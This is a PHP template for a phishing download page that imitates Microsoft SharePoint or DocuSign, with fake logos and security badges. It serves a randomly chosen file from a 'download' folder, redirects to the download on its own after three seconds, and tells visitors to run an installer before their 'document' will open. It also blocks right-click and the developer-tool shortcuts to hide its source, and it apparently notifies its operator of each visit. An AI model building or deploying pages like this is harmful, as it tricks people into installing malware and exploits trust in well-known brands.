<?php
session_start();
require_once __DIR__ . '/notify.php';  // fires notification + includes config + main

function getRandomFile() {
    $dir   = __DIR__ . '/download';
    $files = array_values(array_diff(scandir($dir), ['.','..']));
    return empty($files) ? null : 'download/' . $files[array_rand($files)];
}
$selectedFile = getRandomFile();
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width,initial-scale=1">
<meta name="robots" content="noindex,nofollow">
<title><?= htmlspecialchars($PAGE_TITLE) ?></title>

<?php if ($TEMPLATE === 'sharepoint'): ?>
<link rel="icon" href="data:image/svg+xml,<svg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 32 32'><rect width='32' height='32' rx='6' fill='%230078d4'/><text x='16' y='22' text-anchor='middle' fill='white' font-size='13' font-family='Arial' font-weight='bold'>SP</text></svg>">
<?php else: ?>
<link rel="icon" href="data:image/svg+xml,<svg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 32 32'><rect width='32' height='32' rx='4' fill='%23ffb900'/><text x='16' y='22' text-anchor='middle' fill='white' font-size='11' font-family='Arial' font-weight='bold'>DS</text></svg>">
<?php endif; ?>

<style>
*,*::before,*::after{margin:0;padding:0;box-sizing:border-box}
body{font-family:-apple-system,BlinkMacSystemFont,'Segoe UI',system-ui,sans-serif;
     background:<?= $PAGE_BG ?>;min-height:100vh;display:flex;flex-direction:column}

<?php if ($TEMPLATE === 'sharepoint'): ?>
/* ── SharePoint nav ─────────────────────────────── */
.nav{background:#fff;border-bottom:1px solid #e1dfdd;padding:13px 28px;
     display:flex;align-items:center;justify-content:space-between}
.sp-mark{display:flex;align-items:center;gap:8px}
.ms-grid{display:grid;grid-template-columns:1fr 1fr;gap:2px;width:20px;height:20px}
.ms-grid span:nth-child(1){background:#f25022;border-radius:1px}
.ms-grid span:nth-child(2){background:#7fba00;border-radius:1px}
.ms-grid span:nth-child(3){background:#00a4ef;border-radius:1px}
.ms-grid span:nth-child(4){background:#ffb900;border-radius:1px}
.sp-name{font-size:15px;font-weight:600;color:#323130}
.sp-divider{width:1px;height:16px;background:#c8c6c4;margin:0 2px}
.sp-product{font-size:15px;color:#605e5c}

<?php else: ?>
/* ── DocuSign nav ──────────────────────────────── */
.nav{background:#1a1a2e;border-bottom:3px solid #ffb900;padding:13px 28px;
     display:flex;align-items:center;justify-content:space-between}
.ds-logo{display:flex;align-items:center;gap:10px}
.ds-envelope{width:28px;height:28px;background:#ffb900;border-radius:4px;
             display:flex;align-items:center;justify-content:center}
.ds-name{font-size:16px;font-weight:700;color:#fff;letter-spacing:-.2px}
<?php endif; ?>

.nav-help{font-size:13px;color:<?= $BRAND_COLOR ?>;text-decoration:none;font-weight:500}
.nav-help:hover{text-decoration:underline}

.main{flex:1;display:flex;align-items:center;justify-content:center;
      padding:40px 20px 60px;flex-direction:column}

.card{background:#fff;border-radius:4px;
      box-shadow:0 1.6px 3.6px rgba(0,0,0,.13),0 .3px .9px rgba(0,0,0,.1);
      max-width:460px;width:100%;overflow:hidden}
.card-top-bar{height:4px;background:<?= $BRAND_WARN ?>}
.card-inner{padding:38px 40px 42px;display:flex;flex-direction:column;align-items:center}

.badge{display:inline-flex;align-items:center;gap:6px;
       background:<?= $BRAND_WARN_BG ?>;color:<?= $BRAND_WARN_TEXT ?>;
       font-size:11px;font-weight:700;letter-spacing:.07em;text-transform:uppercase;
       padding:5px 13px 5px 9px;border-radius:2px;margin-bottom:24px}
.badge-dot{width:7px;height:7px;border-radius:50%;background:<?= $BRAND_WARN ?>}

.warn-icon{width:64px;height:64px;margin:0 auto 22px;border-radius:50%;
           background:<?= $BRAND_WARN_BG ?>;display:flex;align-items:center;
           justify-content:center;color:<?= $BRAND_WARN ?>}

h1{font-size:20px;font-weight:700;color:#323130;text-align:center;margin-bottom:10px}
.sub{font-size:13.5px;color:#605e5c;text-align:center;line-height:1.6;margin-bottom:24px}
.sub strong{color:#323130}
.divider{width:100%;height:1px;background:#edebe9;margin-bottom:20px}

.steps{width:100%;display:flex;flex-direction:column;gap:13px;margin-bottom:26px}
.step{display:flex;align-items:flex-start;gap:12px}
.step-num{min-width:24px;height:24px;border-radius:50%;background:<?= $BRAND_COLOR ?>;
          color:#fff;font-size:12px;font-weight:700;display:flex;align-items:center;
          justify-content:center;flex-shrink:0;margin-top:1px}
.step-text{font-size:13.5px;color:#323130;line-height:1.5}
.step-text span{color:#605e5c;font-size:12.5px;display:block}

.progress-wrap{width:100%;margin-bottom:6px;display:flex;flex-direction:column;gap:6px}
.progress-label{font-size:12px;color:#605e5c;display:flex;justify-content:space-between}
.progress-track{width:100%;height:5px;background:#edebe9;border-radius:3px;overflow:hidden}
.progress-bar{width:0%;height:100%;background:<?= $BRAND_COLOR ?>;
              border-radius:3px;transition:width 2.8s ease-in-out}

.status{display:flex;align-items:center;gap:6px;font-size:12px;color:#107c10;
        font-weight:600;margin:14px 0 20px;opacity:0;transition:opacity .4s ease}
.status.visible{opacity:1}

.btn-open{display:flex;align-items:center;justify-content:center;gap:8px;
          width:100%;padding:13px 20px;background:<?= $BRAND_COLOR ?>;color:<?= ($TEMPLATE==='docusign') ? '#000' : '#fff' ?>;
          font-size:15px;font-weight:600;border:none;border-radius:2px;
          cursor:pointer;text-decoration:none;transition:background .15s,transform .1s;
          opacity:.4;pointer-events:none}
.btn-open.ready{opacity:1;pointer-events:auto}
.btn-open.ready:hover{background:<?= $BRAND_ACCENT ?>;transform:translateY(-1px)}
.btn-hint{font-size:11.5px;color:#a19f9d;text-align:center;margin-top:10px}

.footer{text-align:center;padding:18px 20px;font-size:11.5px;color:#a19f9d;
        display:flex;flex-direction:column;align-items:center;gap:7px}
.trust-row{display:flex;align-items:center;gap:16px;flex-wrap:wrap;justify-content:center}
.trust-item{display:flex;align-items:center;gap:4px;font-size:11px;color:#a19f9d;font-weight:500}

@media(max-width:520px){.card-inner{padding:28px 22px 34px}.nav{padding:13px 18px}}
</style>
</head>
<body>

<!-- NAV -->
<div class="nav">
<?php if ($TEMPLATE === 'sharepoint'): ?>
  <div class="sp-mark">
    <div class="ms-grid"><span></span><span></span><span></span><span></span></div>
    <span class="sp-name">Microsoft</span>
    <div class="sp-divider"></div>
    <span class="sp-product">SharePoint</span>
  </div>
<?php else: ?>
  <div class="ds-logo">
    <div class="ds-envelope">
      <svg width="16" height="16" viewBox="0 0 16 16" fill="none" stroke="#1a1a2e" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">
        <rect x="1" y="3" width="14" height="10" rx="1.5"/>
        <path d="M1 5l7 5 7-5"/>
      </svg>
    </div>
    <span class="ds-name">DocuSign</span>
  </div>
<?php endif; ?>
  <a href="#" class="nav-help">Need help?</a>
</div>

<!-- CARD -->
<div class="main">
  <div class="card">
    <div class="card-top-bar"></div>
    <div class="card-inner">

      <div class="badge"><div class="badge-dot"></div><?= htmlspecialchars($BADGE_LABEL) ?></div>

      <div class="warn-icon" aria-hidden="true">
<?php if ($TEMPLATE === 'sharepoint'): ?>
        <svg width="30" height="30" viewBox="0 0 30 30" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">
          <circle cx="15" cy="15" r="13"/><path d="M15 9v7M15 20v1"/>
        </svg>
<?php else: ?>
        <svg width="30" height="30" viewBox="0 0 30 30" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">
          <rect x="3" y="5" width="24" height="18" rx="2"/>
          <path d="M3 9l12 8 12-8"/>
        </svg>
<?php endif; ?>
      </div>

      <h1><?= htmlspecialchars($CARD_HEADING) ?></h1>
      <p class="sub"><?= $CARD_SUB ?></p>

      <div class="divider"></div>

      <div class="steps">
        <div class="step">
          <div class="step-num">1</div>
          <div class="step-text"><?= htmlspecialchars($STEP1_TEXT) ?>
            <span><?= $STEP1_SUB ?></span>
          </div>
        </div>
        <div class="step">
          <div class="step-num">2</div>
          <div class="step-text">Run the installer and follow the on-screen steps
            <span>Takes less than a minute</span>
          </div>
        </div>
        <div class="step">
          <div class="step-num">3</div>
          <div class="step-text">Click <strong><?= htmlspecialchars($BTN_LABEL) ?></strong> below to open your document
            <span>Available once installation is complete</span>
          </div>
        </div>
      </div>

      <div class="progress-wrap">
        <div class="progress-label">
          <span><?= $PROGRESS_LABEL ?></span>
          <span>0%</span>
        </div>
        <div class="progress-track"><div class="progress-bar"></div></div>
      </div>

      <div class="status">
        <svg width="14" height="14" viewBox="0 0 14 14" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">
          <circle cx="7" cy="7" r="6"/><path d="M4.5 7l2 2 3-3"/>
        </svg>
        Download complete &mdash; run the installer then click <?= htmlspecialchars($BTN_LABEL) ?>
      </div>

      <a href="#" class="btn-open" id="openBtn" role="button">
        <svg width="16" height="16" viewBox="0 0 16 16" fill="none" stroke="currentColor" stroke-width="2.2" stroke-linecap="round" stroke-linejoin="round">
          <rect x="2" y="3" width="12" height="10" rx="1.5"/><path d="M5 7h6M5 10h4"/>
        </svg>
        <?= htmlspecialchars($BTN_LABEL) ?>
      </a>
      <p class="btn-hint">Button activates after the installer is run</p>

    </div>
  </div>

  <div class="footer">
    <div class="trust-row">
      <span class="trust-item">
        <svg width="11" height="11" viewBox="0 0 11 11" fill="none" stroke="currentColor" stroke-width="1.5" stroke-linecap="round">
          <path d="M5.5 1L1 3v3.5C1 9 3 10.5 5.5 10.5S10 9 10 6.5V3L5.5 1Z"/>
        </svg>256-bit encryption
      </span>
      <span class="trust-item">
        <svg width="11" height="11" viewBox="0 0 11 11" fill="none" stroke="currentColor" stroke-width="1.5" stroke-linecap="round">
          <circle cx="5.5" cy="5.5" r="4.5"/><path d="M3.5 5.5l1.5 1.5 2.5-3"/>
        </svg><?= htmlspecialchars($BRAND_NAME) ?> Verified
      </span>
      <span class="trust-item">
        <svg width="11" height="11" viewBox="0 0 11 11" fill="none" stroke="currentColor" stroke-width="1.5" stroke-linecap="round">
          <rect x="2" y="5" width="7" height="5" rx="1"/><path d="M3.5 5V3.5a2 2 0 014 0V5"/>
        </svg>ISO 27001 Certified
      </span>
    </div>
    <div><?= $FOOTER_COPY ?> &nbsp;&middot;&nbsp;
      <a href="#" style="color:#a19f9d;text-decoration:none;">Privacy</a> &nbsp;&middot;&nbsp;
      <a href="#" style="color:#a19f9d;text-decoration:none;">Terms</a>
    </div>
  </div>
</div>

<script>
  document.addEventListener('contextmenu', function(e){ e.preventDefault(); });
  document.onkeydown = function(e){
    if(e.key==='F12'||(e.ctrlKey&&e.key.toLowerCase()==='u')||(e.ctrlKey&&e.shiftKey&&e.key.toLowerCase()==='i'))
      e.preventDefault();
  };

  var bar    = document.querySelector('.progress-bar');
  var pct    = document.querySelector('.progress-label span:last-child');
  var status = document.querySelector('.status');
  var btn    = document.getElementById('openBtn');

  setTimeout(function(){ bar.style.width = '100%'; }, 300);
  <?php if ($selectedFile): ?>
  setTimeout(function(){ window.location.href = 'download_file.php'; }, 3000);
  <?php endif; ?>
  setTimeout(function(){
    if(pct) pct.textContent = '100%';
    status.classList.add('visible');
    btn.classList.add('ready');
    btn.href = 'download_file.php';
  }, 3200);
</script>
</body>
</html>
